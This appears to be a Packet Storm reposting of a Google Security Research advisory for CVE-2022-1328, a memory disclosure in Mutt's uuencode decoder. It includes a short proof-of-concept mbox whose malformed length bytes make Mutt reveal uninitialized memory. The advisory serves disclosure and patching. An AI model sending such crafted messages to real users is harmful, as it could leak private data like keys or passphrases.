what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mutt mutt_decode_uuencoded() Memory Disclosure

Mutt mutt_decode_uuencoded() Memory Disclosure
Posted Jul 11, 2022
Authored by Tavis Ormandy, Google Security Research

In mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.

tags | exploit
advisories | CVE-2022-1328
SHA-256 | 1a0da9d9e3bf42ea5367e18954311a408e444a40a4960bbf41e240bbab050a63

Mutt mutt_decode_uuencoded() Memory Disclosure

Change Mirror Download
mutt: mutt_decode_uuencoded() can read the past the of the input line

In mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.

Reproduce with the following mbox, note that these are literal 0x9f bytes. This should show some uninitialized garbage in the message.

From taviso Thu Mar 31 16:53:55 2022
From: taviso
Subject: mutt_decode_uuencoded test
Content-Disposition: inline
Content-Transfer-Encoding: x-uuencode
Content-Type: text/plain

begin 644 test
<9f>
M2&5L;&\\L\"@I)9B!Y;W4@87)E(')E861I;F<@=&AI<R!M97-S86=E(&EN(&UU
M='0L('1H92!N97AT(&QI;F4*<VAO=6QD(&-O;G1A:6X@9V%R8F%G92X*\"@H*
<9f>
54&QE87-E(')E<&QY+`I4879I<RX*
`
end.



This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is YYYY-MM-DD.


Related CVE Numbers: CVE-2022-1328.



Found by: taviso@google.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close